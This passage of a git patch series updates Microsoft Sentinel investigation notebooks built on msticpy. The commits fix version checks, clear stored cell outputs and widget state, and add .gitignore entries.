AACJk81mw//OZDJDvh4EgYwx+uEPf6gxY8ZIkrZs2aJRo0YpnU7LGKPnn38+LMv8wQ9+IEm66667dP/994d/xo033qiDDjpIUjFJ8zwv/B6jRo2SpPBzxhgFQaDTTz9dCxcuDP+M9vZ2TZw4UZI0duzY8P//3Oc+p0KhoHe96116+9vfrldffVXGmLI/y6WXXho2euns7FR3d7deeeWVIY9Pp/m1DgCtjLJMAEDTGT9+vI444oiwjHLHjh36wAc+oF/+8pcaNWqUvvCFL+gLX/iC/vjHP4b/z+bNm7VixQr5fvFX4/HHH6/vfve7MsYol8vpk5/8pP73f/+36vc9/vjj9fOf/1zt7e2SpDvuuEMf+chHyj720Ucf1ac//Wm9+93vliStWrVKhUJBkpRKpdTT0xP+mUuWLFEul1MQBPryl7+sRYsW6U1vepOMMXr44YclSb/85S+1ffv24YYMANAEuMUHAGhK119/vb761a9q/vz5yuVymjdvnt773vdKkv7pn/5J06dP19VXX60tW7Zo165dymazesc73hEmY1/60pd09dVXa/78+crn8zruuOO0YMGCqt/z+OOP1/nnn6/zzjtPnudp/PjxWrx48YAdv5KLLrpIn/70pzV27FiNHz9eRx99tDZs2CCp2Cl00aJFyufz+tSnPqVrr71W73vf+1QoFDRr1ixdcsklymQyuvnmm3XllVdq0aJFmjVrlqZMmTLCUQQAJIlnytWAAAAAAAAShbJMAAAAAGgCJHcAAAAA0ARI7gAAAACgCZDcAQAAAEATILkDAAAAgCZAcgcAAAAATYDkDgAAAACawP8H6jJ8MnYCfwIAAAAASUVORK5CYII=\n", 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Account
MSTICAlertsWin1\\MSTICAdmin001000000000
" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + } + ], "source": [ + "from random import randint\n", "select_logon_type = widgets.Select(options=nbdisplay._WIN_LOGON_TYPE_MAP.values(), layout=widgets.Layout(height=\"200px\"))\n", "num_items = widgets.IntSlider(min=1, max=200, value=10, description=\"# logons\")\n", - "df_output1 = widgets.Output()\n", - "df_output2 = widgets.Output()\n", + "\n", "\n", "def display_logons(host_logons, order_column, number_shown, output, title, ascending=True):\n", " pivot_df = (\n", @@ -1206,33 +5652,33 @@ " .fillna(0)\n", " )\n", " \n", - " with output:\n", - " if ('LogonCount', order_column) in pivot_df.columns:\n", - " md(title)\n", - " display(\n", - " pivot_df\n", - " [pivot_df[(\"LogonCount\", order_column)] > 0]\n", - " .sort_values((\"LogonCount\", order_column), ascending=ascending)\n", - " .head(number_shown)\n", - " .style\n", - " .background_gradient(cmap=\"viridis\", low=0.5, high=0)\n", - " .format(\"{0:0>3.0f}\")\n", - " )\n", - " else:\n", - " md(f\"No logons of type {order_column}\")\n", + " if ('LogonCount', order_column) in pivot_df.columns:\n", + " disp_elems[output].display(Markdown(title), update=True)\n", + " disp_elems[1].display(\n", + " pivot_df\n", + " [pivot_df[(\"LogonCount\", order_column)] > 0]\n", + " .sort_values((\"LogonCount\", order_column), ascending=ascending)\n", + " .head(number_shown)\n", + " .style\n", + " .background_gradient(cmap=\"viridis\", low=0.5, high=0)\n", + " .format(\"{0:0>3.0f}\"),\n", + " update=True\n", + " )\n", + " else:\n", + " disp_elems[0].display(Markdown(f\"No logons of type {order_column}\", update=True))\n", + " disp_elems[1].display(\"\")\n", "\n", " \n", "def show_logons(evt):\n", " del evt\n", " logon_type = select_logon_type.value\n", " list_size = num_items.value\n", - " df_output1.clear_output()\n", - " df_output2.clear_output()\n", + "\n", " display_logons(\n", " host_logons,\n", " order_column=logon_type, \n", - " number_shown=list_size, \n", - " output=df_output1, \n", + " number_shown=list_size,\n", + " output=0,\n", " title=\"Most Frequent Logons\",\n", " ascending=False,\n", " )\n", @@ -1240,15 +5686,20 @@ " host_logons,\n", " order_column=logon_type, \n", " number_shown=list_size, \n", - " output=df_output2, \n", + " output=1,\n", " title=\"Rarest Logons\",\n", " ascending=True\n", " )\n", " \n", "select_logon_type.observe(show_logons, names=\"value\")\n", "ctrls = widgets.HBox([select_logon_type, num_items])\n", - "outputs = widgets.HBox([df_output1, df_output2])\n", - "display(widgets.VBox([ctrls, outputs]))" + "display(ctrls)\n", + "id = str(randint(0,9999999))\n", + "disp_elems = []\n", + "disp_elems.append(display(\"Most Frequent Logons\"))\n", + "disp_elems.append(display(\"dataframe\"))\n", + "disp_elems.append(display(\"Most Frequent Logons\"))\n", + "disp_elems.append(display(\"dataframe\"))" ] }, { @@ -1263,7 +5714,7 @@ }, { "cell_type": "code", - "execution_count": null, + "execution_count": 33, "metadata": { "ExecuteTime": { "end_time": "2020-05-16T02:21:52.253650Z", @@ -1272,7 +5723,152 @@ "hidden": true, "scrolled": true }, - "outputs": [], + "outputs": [ + { + "data": { + "application/javascript": [ + "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "application/javascript": [ + "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "application/javascript": [ + "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "text/html": [ + "

Failed Logons observed for the host:

" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "text/html": [ + "
\n", + "\n", + "\n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + "
TenantIdAccountEventIDTimeGeneratedSourceComputerIdComputerSubjectUserNameSubjectDomainNameSubjectUserSidTargetUserNameTargetDomainNameTargetUserSidTargetLogonIdLogonProcessNameLogonTypeLogonTypeNameAuthenticationPackageNameStatusIpAddressWorkstationNameTimeCreatedUtc
052b1ab41-869e-4138-9e40-2a4457f09bf0MSTICAlertsWin1\\ian46252019-02-13 16:28:05.417000+00:00263a788b-6526-4cdc-8ed9-d79402fe4aa0MSTICAlertsWin1MSTICAlertsWin1$WORKGROUPS-1-5-18ianMSTICAlertsWin1S-1-0-0Advapi44 - BatchNegotiate0xc000015b-MSTICAlertsWin12019-02-13 16:28:05.417000+00:00
\n", + "
" + ], + "text/plain": [ + " TenantId Account EventID \\\n", + "0 52b1ab41-869e-4138-9e40-2a4457f09bf0 MSTICAlertsWin1\\ian 4625 \n", + "\n", + " TimeGenerated SourceComputerId \\\n", + "0 2019-02-13 16:28:05.417000+00:00 263a788b-6526-4cdc-8ed9-d79402fe4aa0 \n", + "\n", + " Computer SubjectUserName SubjectDomainName SubjectUserSid \\\n", + "0 MSTICAlertsWin1 MSTICAlertsWin1$ WORKGROUP S-1-5-18 \n", + "\n", + " TargetUserName TargetDomainName TargetUserSid TargetLogonId \\\n", + "0 ian MSTICAlertsWin1 S-1-0-0 \n", + "\n", + " LogonProcessName LogonType LogonTypeName AuthenticationPackageName \\\n", + "0 Advapi 4 4 - Batch Negotiate \n", + "\n", + " Status IpAddress WorkstationName TimeCreatedUtc \n", + "0 0xc000015b - MSTICAlertsWin1 2019-02-13 16:28:05.417000+00:00 " + ] + }, + "metadata": {}, + "output_type": "display_data" + } + ], "source": [ "if security_alert.primary_host:\n", " failedLogons = qry_prov.WindowsSecurity.list_host_logon_failures(\n", @@ -1303,14 +5899,41 @@ }, { "cell_type": "code", - "execution_count": null, + "execution_count": 34, "metadata": { "ExecuteTime": { "end_time": "2020-02-13T20:45:29.434121Z", "start_time": "2020-02-13T20:45:29.427150Z" } }, - "outputs": [], + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "List of current DataFrames in Notebook\n", + "--------------------------------------------------\n", + "process_tree\n", + "alert_list\n", + "alert_counts\n", + "related_alerts\n", + "processes_on_host\n", + "feature_procs\n", + "clus_events\n", + "test_clus\n", + "source_processes\n", + "ioc_df\n", + "dec_df\n", + "ti_results\n", + "proc_match_in_ws\n", + "logon_event\n", + "host_logons\n", + "host_logons_time\n", + "logon_group\n", + "failedLogons\n" + ] + } + ], "source": [ "print('List of current DataFrames in Notebook')\n", "print('-' * 50)\n", @@ -1366,13 +5989,14 @@ ], "metadata": { "hide_input": false, + "history": [], "kernel_info": { "name": "python3" }, "kernelspec": { - "display_name": "Python 3.6", + "display_name": "Python (condadev)", "language": "python", - "name": "python36" + "name": "condadev" }, "language_info": { "codemirror_mode": { @@ -1384,7 +6008,7 @@ "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", - "version": "3.6.7-final" + "version": "3.6.10" }, "latex_envs": { "LaTeX_envs_menu_present": true, @@ -1425,6 +6049,7 @@ "toc_section_display": true, "toc_window_display": true }, + "uuid": "3e8f75f2-2a40-4170-b5f5-c5cec2a483c0", "varInspector": { "cols": { "lenName": 16, @@ -1463,7 +6088,220 @@ }, "widgets": { "application/vnd.jupyter.widget-state+json": { - "state": {}, + "state": { + "05994b56b69e41bfb51004e49ea18f2b": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "layout": "IPY_MODEL_374633595e964b8d91a130688e635999", + "style": "IPY_MODEL_c07697dbeec546a8ba916ce5dcdde013", + "value": "

Set query time boundaries

" + } + }, + "197fcdf366044c1f831c7408394f59c1": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "width": "95%" + } + }, + "25a048d2663a4ea790b7ebe2db4dff42": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": {} + }, + "31725402e4f24d8995fe3579510ba58b": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "TextModel", + "state": { + "description": "Query start time (UTC):", + "layout": "IPY_MODEL_d2f4519b8ee14ba9b10340cfcb1d4e72", + "style": "IPY_MODEL_8622d66464f04bac8f67457f83ab8d81", + "value": "2020-06-24 16:54:35.972280" + } + }, + "374633595e964b8d91a130688e635999": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": {} + }, + "38d052a5fea74ccea42fe592a351d9e4": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": {} + }, + "3c9a43a2f4834be8bf973d234007bc30": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": {} + }, + "47f9236d67b14656a4db8ad51fe0bdcf": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "SliderStyleModel", + "state": { + "description_width": "initial" + } + }, + "8326704b511c4290ae12f8d4cf6a2736": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "width": "50%" + } + }, + "8622d66464f04bac8f67457f83ab8d81": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "description_width": "initial" + } + }, + "9559d07af91c46e281bb6f03ef531fd2": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "description_width": "initial" + } + }, + "972ffe56a9b14e8aaec2ab5324c908e7": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": {} + }, + "9a083f546d65423a94341112bd82f69b": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "children": [ + "IPY_MODEL_b994ba585e154bc797cee9910604b8f6", + "IPY_MODEL_e2d230852b5849a09916b7bba3ec2559" + ], + "layout": "IPY_MODEL_3c9a43a2f4834be8bf973d234007bc30" + } + }, + "a891f7840e6d4259b2a0dd43b5ad8e18": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "VBoxModel", + "state": { + "children": [ + "IPY_MODEL_f901da59216341aca8e72df63f87096a", + "IPY_MODEL_31725402e4f24d8995fe3579510ba58b", + "IPY_MODEL_a9b0c2cc97924a1fa137e5e89063d7b8" + ], + "layout": "IPY_MODEL_38d052a5fea74ccea42fe592a351d9e4" + } + }, + "a9b0c2cc97924a1fa137e5e89063d7b8": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "TextModel", + "state": { + "description": "Query end time (UTC) : ", + "layout": "IPY_MODEL_8326704b511c4290ae12f8d4cf6a2736", + "style": "IPY_MODEL_9559d07af91c46e281bb6f03ef531fd2", + "value": "2020-06-25 17:54:35.972280" + } + }, + "b994ba585e154bc797cee9910604b8f6": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DatePickerModel", + "state": { + "description": "Origin Date", + "disabled": false, + "layout": "IPY_MODEL_972ffe56a9b14e8aaec2ab5324c908e7", + "style": "IPY_MODEL_c72c3a8a248441ce86701708c50b8ae6", + "value": { + "date": 25, + "month": 5, + "year": 2020 + } + } + }, + "c07697dbeec546a8ba916ce5dcdde013": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "description_width": "" + } + }, + "c72c3a8a248441ce86701708c50b8ae6": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "description_width": "" + } + }, + "d2f4519b8ee14ba9b10340cfcb1d4e72": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "width": "50%" + } + }, + "e2d230852b5849a09916b7bba3ec2559": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "TextModel", + "state": { + "description": "Time (24hr)", + "layout": "IPY_MODEL_25a048d2663a4ea790b7ebe2db4dff42", + "style": "IPY_MODEL_f1fcb542ab894cfd9c734be6be0642f3", + "value": "16:54:35.972280" + } + }, + "f0547d5bf80d47abbc7027dc64f8a7da": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "width": "80%" + } + }, + "f1fcb542ab894cfd9c734be6be0642f3": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "description_width": "" + } + }, + "f901da59216341aca8e72df63f87096a": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "IntRangeSliderModel", + "state": { + "_model_name": "IntRangeSliderModel", + "_view_name": "IntRangeSliderView", + "description": "Time Range (hour):", + "layout": "IPY_MODEL_f0547d5bf80d47abbc7027dc64f8a7da", + "max": 1, + "min": -72, + "style": "IPY_MODEL_47f9236d67b14656a4db8ad51fe0bdcf", + "value": [ + -24, + 1 + ] + } + } + }, "version_major": 2, "version_minor": 0 } @@ -1471,4 +6309,4 @@ }, "nbformat": 4, "nbformat_minor": 4 -} \ No newline at end of file +} diff --git a/Guided Triage - Alerts.ipynb b/Guided Triage - Alerts.ipynb index a0a8bc45..3b4e4cb0 100644 --- a/Guided Triage - Alerts.ipynb +++ b/Guided Triage - Alerts.ipynb @@ -72,7 +72,7 @@ "from IPython.display import display, HTML, Markdown\n", "\n", "REQ_PYTHON_VER=(3, 6)\n", - "REQ_MSTICPY_VER=(0, 5, 0)\n", + "REQ_MSTICPY_VER=(0, 6, 0)\n", "\n", "display(HTML(\"

Starting Notebook setup...

\"))\n", "if Path(\"./utils/nb_check.py\").is_file():\n", @@ -83,7 +83,7 @@ " except ImportError:\n", " !pip install --upgrade msticpy\n", " if \"msticpy\" in sys.modules:\n", - " importlib.reload(msticpy)\n", + " importlib.reload(sys.modules[\"msticpy\"])\n", " else:\n", " import msticpy\n", " check_mp_ver(REQ_PYTHON_VER)\n", diff --git a/Notebook Template.ipynb b/Notebook Template.ipynb index 55eff7ba..d8319484 100644 --- a/Notebook Template.ipynb +++ b/Notebook Template.ipynb @@ -90,7 +90,7 @@ " except ImportError:\n", " !pip install --upgrade msticpy\n", " if \"msticpy\" in sys.modules:\n", - " importlib.reload(msticpy)\n", + " importlib.reload(sys.modules[\"msticpy\"])\n", " else:\n", " import msticpy\n", " check_mp_ver(REQ_PYTHON_VER)\n", diff --git a/TroubleShootingNotebooks.ipynb b/TroubleShootingNotebooks.ipynb index 289e8a32..1482d566 100644 --- a/TroubleShootingNotebooks.ipynb +++ b/TroubleShootingNotebooks.ipynb @@ -140,7 +140,7 @@ " if resp.casefold().startswith(\"y\"):\n", " !pip install --upgrade msticpy\n", " if \"msticpy\" in sys.modules:\n", - " importlib.reload(msticpy)\n", + " importlib.reload(sys.modules[\"msticpy\"])\n", " else:\n", " import msticpy\n", " print(f\"msticpy installed - version {msticpy.__version__}\")\n", diff --git a/utils/nb_check.py b/utils/nb_check.py index 66e82d6b..b9627141 100644 --- a/utils/nb_check.py +++ b/utils/nb_check.py @@ -88,10 +88,10 @@ def check_mp_ver(min_msticpy_ver=MSTICPY_REQ_VERSION): display(HTML("Checking msticpy version...")) try: import msticpy - + wrong_ver_err = "msticpy %s.%s.%s or later is needed." % min_msticpy_ver mp_version = tuple([int(v) for v in msticpy.__version__.split(".")]) if mp_version < min_msticpy_ver: - raise ImportError("msticpy %s.%s.%s or later is needed." % min_msticpy_ver) + raise ImportError(wrong_ver_err) except ImportError: display(HTML(MISSING_PKG_ERR.format(package="msticpy"))) @@ -112,9 +112,8 @@ def check_mp_ver(min_msticpy_ver=MSTICPY_REQ_VERSION): % ("msticpy", *min_msticpy_ver) ) ) - raise RuntimeError( - "msticpy %s.%s.%s or later is required." % min_msticpy_ver - ) + raise RuntimeError(wrong_ver_err) + display(HTML("msticpy version %s.%s.%s OK" % mp_version)) From 7393217d61ecc18008c99f6ec83d06ceba71fb21 Mon Sep 17 00:00:00 2001 From: Ian Hellen Date: Thu, 25 Jun 2020 13:43:29 -0700 Subject: [PATCH 06/23] Updating .gitignore to exclude kqlmagic and mypy temp files --- .gitignore | 2 ++ 1 file changed, 2 insertions(+) diff --git a/.gitignore b/.gitignore index 9c3a086e..f1844f00 100644 --- a/.gitignore +++ b/.gitignore @@ -330,3 +330,5 @@ ASALocalRun/ .mfractor/ **/.ipynb_checkpoints/** **/Kqlmagic_temp_files/** +**/.mypy_cache/** +**/kqlmagic/** From acf506e41c9c838743c9a1ee8b647204fe23d5a0 Mon Sep 17 00:00:00 2001 From: Ian Hellen Date: Thu, 25 Jun 2020 14:23:07 -0700 Subject: [PATCH 07/23] Fixing check_mp_ver constant parameter Wiping output from Guided Investigation - Process-Alerts.ipynb, Entity Explorer - Account --- ConfiguringNotebookEnvironment.ipynb | 2 +- Entity Explorer - Account.ipynb | 2 +- Entity Explorer - Domain & URL.ipynb | 2 +- Entity Explorer - IP Address.ipynb | 6 +- Entity Explorer - Linux Host.ipynb | 533 +- Entity Explorer - Windows Host.ipynb | 1268 +---- Guided Hunting - Office365-Exploring.ipynb | 2 +- ...nvestigation - MDATP Webshell Alerts.ipynb | 23 +- Guided Investigation - Process-Alerts.ipynb | 4730 +---------------- Guided Triage - Alerts.ipynb | 10 +- Notebook Template.ipynb | 2 +- 11 files changed, 119 insertions(+), 6461 deletions(-) diff --git a/ConfiguringNotebookEnvironment.ipynb b/ConfiguringNotebookEnvironment.ipynb index 5ff3ed81..e69bdc4b 100644 --- a/ConfiguringNotebookEnvironment.ipynb +++ b/ConfiguringNotebookEnvironment.ipynb @@ -148,7 +148,7 @@ " importlib.reload(sys.modules[\"msticpy\"])\n", " else:\n", " import msticpy\n", - " check_mp_ver(REQ_PYTHON_VER)\n", + " check_mp_ver(REQ_MSTICPY_VER)\n", " \n", "extra_imports = [\n", " \"msticpy.nbtools, observationlist\",\n", diff --git a/Entity Explorer - Account.ipynb b/Entity Explorer - Account.ipynb index 06b81f5a..fbb4059d 100644 --- a/Entity Explorer - Account.ipynb +++ b/Entity Explorer - Account.ipynb @@ -102,7 +102,7 @@ " importlib.reload(sys.modules[\"msticpy\"])\n", " else:\n", " import msticpy\n", - " check_mp_ver(REQ_PYTHON_VER)\n", + " check_mp_ver(REQ_MSTICPY_VER)\n", " \n", "\n", "# If not using Azure Notebooks, install msticpy with\n", diff --git a/Entity Explorer - Domain & URL.ipynb b/Entity Explorer - Domain & URL.ipynb index 1c4e5070..fd3b5ea9 100644 --- a/Entity Explorer - Domain & URL.ipynb +++ b/Entity Explorer - Domain & URL.ipynb @@ -109,7 +109,7 @@ " importlib.reload(sys.modules[\"msticpy\"])\n", " else:\n", " import msticpy\n", - " check_mp_ver(REQ_PYTHON_VER)\n", + " check_mp_ver(REQ_MSTICPY_VER)\n", " \n", "\n", "# If not using Azure Notebooks, install msticpy with\n", diff --git a/Entity Explorer - IP Address.ipynb b/Entity Explorer - IP Address.ipynb index be8d175f..68570067 100644 --- a/Entity Explorer - IP Address.ipynb +++ b/Entity Explorer - IP Address.ipynb @@ -132,7 +132,7 @@ " importlib.reload(sys.modules[\"msticpy\"])\n", " else:\n", " import msticpy\n", - " check_mp_ver(REQ_PYTHON_VER)\n", + " check_mp_ver(REQ_MSTICPY_VER)\n", " \n", "\n", "# If not using Azure Notebooks, install msticpy with\n", @@ -1888,7 +1888,7 @@ "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", - "version": "3.6.7-final" + "version": "3.6.10" }, "latex_envs": { "LaTeX_envs_menu_present": true, @@ -1972,4 +1972,4 @@ }, "nbformat": 4, "nbformat_minor": 4 -} \ No newline at end of file +} diff --git a/Entity Explorer - Linux Host.ipynb b/Entity Explorer - Linux Host.ipynb index 98c32c05..de75b26b 100644 --- a/Entity Explorer - Linux Host.ipynb +++ b/Entity Explorer - Linux Host.ipynb @@ -101,7 +101,7 @@ " importlib.reload(sys.modules[\"msticpy\"])\n", " else:\n", " import msticpy\n", - " check_mp_ver(REQ_PYTHON_VER)\n", + " check_mp_ver(REQ_MSTICPY_VER)\n", " \n", "\n", "# If not using Azure Notebooks, install msticpy with\n", @@ -1910,7 +1910,7 @@ "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", - "version": "3.6.7" + "version": "3.6.10" }, "latex_envs": { "LaTeX_envs_menu_present": true, @@ -1982,534 +1982,7 @@ }, "widgets": { "application/vnd.jupyter.widget-state+json": { - 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"style": "IPY_MODEL_c45dc14ad32846d0a68a35a1599ce787", - "value": { - "date": 27, - "month": 1, - "year": 2019 - } - } - }, - "f3f0222774ef4e14a6900045a7171e3a": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "SliderStyleModel", - "state": { - "description_width": "initial" - } - }, - "f698875a24ed42ceb427cc6bd0c658ab": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "HBoxModel", - "state": { - "children": [ - "IPY_MODEL_eacab245cd9e45fd9a3061a128369389", - "IPY_MODEL_5971311870534b0fad5bf453aa900119" - ], - "layout": "IPY_MODEL_c857810da43a4aba92819fb049bb0376" - } - }, - "fa7cec0889df4e13b991879dc21d34fa": { - "model_module": "@jupyter-widgets/base", - "model_module_version": "1.2.0", - "model_name": "LayoutModel", - "state": { - "width": "80%" - } - } - }, + "state": {}, "version_major": 2, "version_minor": 0 } diff --git a/Entity Explorer - Windows Host.ipynb b/Entity Explorer - Windows Host.ipynb index ac2e9a3f..39f900ca 100644 --- a/Entity Explorer - Windows Host.ipynb +++ b/Entity Explorer - Windows Host.ipynb @@ -62,84 +62,14 @@ }, { "cell_type": "code", - "execution_count": 2, + "execution_count": null, "metadata": { "ExecuteTime": { "end_time": "2020-05-15T23:27:18.623464Z", "start_time": "2020-05-15T23:27:15.156160Z" } }, - "outputs": [ - { - "data": { - "text/html": [ - "Environment setup has completed." - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "text/html": [ - "Continuing wth notebook setup." - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "text/html": [ - "Checking msticpy version..." - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "text/html": [ - "msticpy version 0.5.2 OK" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "name": "stdout", - "output_type": "stream", - "text": [ - "Processing imports....\n", - "Checking configuration....\n", - "Setting options....\n" - ] - }, - { - "data": { - "text/html": [ - "

Notebook setup complete

" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - } - ], + "outputs": [], "source": [ "from pathlib import Path\n", "import os\n", @@ -163,7 +93,7 @@ " importlib.reload(sys.modules[\"msticpy\"])\n", " else:\n", " import msticpy\n", - " check_mp_ver(REQ_PYTHON_VER)\n", + " check_mp_ver(REQ_MSTICPY_VER)\n", " \n", "\n", "# If not using Azure Notebooks, install msticpy with\n", @@ -205,27 +135,14 @@ }, { "cell_type": "code", - "execution_count": 3, + "execution_count": null, "metadata": { "ExecuteTime": { "end_time": "2020-05-15T23:27:22.847608Z", "start_time": "2020-05-15T23:27:22.839609Z" } }, - "outputs": [ - { - "data": { - "text/html": [ - "

Workspace details collected from config file

" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - } - ], + "outputs": [], "source": [ "#See if we have an Azure Sentinel Workspace defined in our config file, if not let the user specify Workspace and Tenant IDs\n", "from msticpy.nbtools.wsconfig import WorkspaceConfig\n", @@ -251,219 +168,14 @@ }, { "cell_type": "code", - "execution_count": 4, + "execution_count": null, "metadata": { "ExecuteTime": { "end_time": "2020-05-15T23:28:39.796803Z", "start_time": "2020-05-15T23:27:27.080209Z" } }, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "Please wait. Loading Kqlmagic extension...\n" - ] - }, - { - "data": { - "application/javascript": [ - "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/javascript": [ - "try {IPython.notebook.kernel.reconnect();} catch(err) {;}" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/javascript": [ - "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "text/html": [ - "\n", - " \n", - "\n", - " \n", - "\n", - " \n", - "\n", - " \n", - "\n", - " \n", - "\n", - " " - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "text/html": [ - "\n", - " " - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "text/html": [ - "\n", - " \n", - "
\n", - " \n", - "\n", - " \n", - " \n", - "
\n", - "\n", - " \n", - "\n", - " " - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - } - ], + "outputs": [], "source": [ "if config is False:\n", " ws_id = ws_id_wgt.value\n", @@ -512,29 +224,14 @@ }, { "cell_type": "code", - "execution_count": 5, + "execution_count": null, "metadata": { "ExecuteTime": { "end_time": "2020-05-15T23:28:41.610484Z", "start_time": "2020-05-15T23:28:41.598485Z" } }, - "outputs": [ - { - "data": { - "application/vnd.jupyter.widget-view+json": { - "model_id": "4f19e74d39e94c02be2bff1a2725edeb", - "version_major": 2, - "version_minor": 0 - }, - "text/plain": [ - "Text(value='', description='Enter the Host name to search for:', layout=Layout(width='95%'), style=Description…" - ] - }, - "metadata": {}, - "output_type": "display_data" - } - ], + "outputs": [], "source": [ "host_text = widgets.Text(\n", " description=\"Enter the Host name to search for:\", **WIDGET_DEFAULTS\n", @@ -544,57 +241,14 @@ }, { "cell_type": "code", - "execution_count": 6, + "execution_count": null, "metadata": { "ExecuteTime": { "end_time": "2020-05-15T23:28:46.198826Z", "start_time": "2020-05-15T23:28:46.144827Z" } }, - "outputs": [ - { - "data": { - "application/vnd.jupyter.widget-view+json": { - "model_id": "8e51ca134e6a442293b7195da31c00c8", - "version_major": 2, - "version_minor": 0 - }, - "text/plain": [ - "HTML(value='

Set query time boundaries

')" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/vnd.jupyter.widget-view+json": { - "model_id": "f17936aede4b49a6ae33a919355fe537", - "version_major": 2, - "version_minor": 0 - }, - "text/plain": [ - "HBox(children=(DatePicker(value=datetime.date(2020, 6, 18), description='Origin Date'), Text(value='23:31:44.1…" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/vnd.jupyter.widget-view+json": { - "model_id": "790d91954c9f43fc9755cc559f672c6b", - "version_major": 2, - "version_minor": 0 - }, - "text/plain": [ - "VBox(children=(IntRangeSlider(value=(-5, 1), description='Time Range (day):', layout=Layout(width='80%'), max=…" - ] - }, - "metadata": {}, - "output_type": "display_data" - } - ], + "outputs": [], "source": [ "query_times = nbwidgets.QueryTime(units=\"day\", max_before=20, before=5, max_after=1)\n", "query_times.display()" @@ -602,46 +256,14 @@ }, { "cell_type": "code", - "execution_count": 8, 